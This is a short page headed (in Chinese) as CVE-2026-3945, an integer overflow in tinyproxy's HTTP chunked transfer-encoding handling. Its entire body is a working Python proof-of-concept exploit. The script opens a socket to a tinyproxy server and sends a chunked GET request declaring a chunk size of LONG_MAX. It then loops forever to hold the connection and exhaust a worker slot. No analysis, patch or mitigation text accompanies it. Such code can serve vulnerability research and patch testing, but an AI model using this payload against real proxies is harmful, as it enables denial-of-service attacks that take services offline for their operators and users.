CVE-2026-3945 tinyproxy HTTP分块传输编码整数溢出漏洞

import socket import sys # Target configuration target_host = "127.0.0.1" target_port = 8888 # Malicious chunk size: LONG_MAX causing integer overflow # 0x7fffffffffffffff = 9223372036854775807 payload = "9223372036854775807\r\n" def send_exploit(): try: # Connect to the tinyproxy server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # Send HTTP request with crafted chunked encoding request = ( "GET / HTTP/1.1\r\n" "Host: {}\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "{}".format(target_host, payload) ) s.send(request.encode()) print("[+] Malicious payload sent. Connection should hang.") # Keep connection open to exhaust worker slot while True: pass except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": send_exploit()